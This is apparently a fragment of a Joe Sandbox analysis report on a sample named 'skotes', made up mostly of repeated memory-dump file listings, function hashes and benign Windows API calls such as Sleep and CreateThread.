Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2f
API String ID: 1464230837-3713388386
Opcode ID: 0f230c16a9f80536def83986155a08e1f8efba4747f23250c94762e192380cca
Instruction ID: a1a68dec1c01f115b0731fdaf80caddb6bbf29f9c16bdf416178abd0b1f69292
Opcode Fuzzy Hash: 0f230c16a9f80536def83986155a08e1f8efba4747f23250c94762e192380cca
Instruction Fuzzy Hash: 01E086317FE31496E71437EC9D5EB6E612B87EA750F212924E504C63D5CBD0864045A3

Function 00607590 Relevance: 4.7, APIs: 3, Instructions: 158sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,8FC8FEA1,?,00000000,00649138,000000FF), ref: 006075CC
CreateThread.KERNEL32(00000000,00000000,00607430,00668638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 006076BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 006076C9

Part of subcall function 0061D0C7: RtlWakeAllConditionVariable.NTDLL ref: 0061D17B

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: d0276058d03753d3012f113c2483f4e7fd9f6994021abfc7cb3a62ffb0fb08bb
Instruction ID: 9c6201b18bb3ee83d6ab8f7ab033471bb2bf4d5bd1ae6de1db31a0f85b7e4ec5
Opcode Fuzzy Hash: d0276058d03753d3012f113c2483f4e7fd9f6994021abfc7cb3a62ffb0fb08bb
Instruction Fuzzy Hash: B051D070690248AFEB18CF38DC85B9D3BA3EB45304F544659F815C73E1CBBAE8808B95

Function 00636E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89a3781ceb9fea139204dea9b506c431851bf0e766629acfa309498c3140fddf
Instruction ID: 851f35674768211cb76a3c4b31fbbf73f83fd436b188992fd8684fd9d8848311
Opcode Fuzzy Hash: 89a3781ceb9fea139204dea9b506c431851bf0e766629acfa309498c3140fddf
Instruction Fuzzy Hash: F821D6729092087BEB21AB68EC46BAF376BDF41374F104219F9242B2C1DB709E0596E5

Function 00616D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00616D11
Sleep.KERNEL32(00007530), ref: 00616D25

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 824d5f185cf89701c5cf6f846d4f3c1b26ba020d830fd69f0b220b2a8a58c728
Instruction ID: 90dea7a0a9c1221787ca2d75c813fc01c34333821d81baeb4403f6aa1996b3d7
Opcode Fuzzy Hash: 824d5f185cf89701c5cf6f846d4f3c1b26ba020d830fd69f0b220b2a8a58c728
Instruction Fuzzy Hash: D3D04C79BD5314B6F2205760AC0BFA6AA529B0AF51F79584573583F0E0C6E475408BD8

Function 00608380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00608524

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 8658338ce66d992b3cbec3cc72c17ba9de315ff4613e96170cf3c5e8b12b0acb
Instruction ID: dcbe3fbce73cade2d142a8be01549d80b680fd1f63262df966eb4f7bfc9112e1
Opcode Fuzzy Hash: 8658338ce66d992b3cbec3cc72c17ba9de315ff4613e96170cf3c5e8b12b0acb
Instruction Fuzzy Hash: 78513670D402089FDB28EB68CD497DEB776DB46314F5042A8E844A73C1EF349EC08B95

Function 00637124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,0063705B,?,?,00000000,00000000), ref: 00637166

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
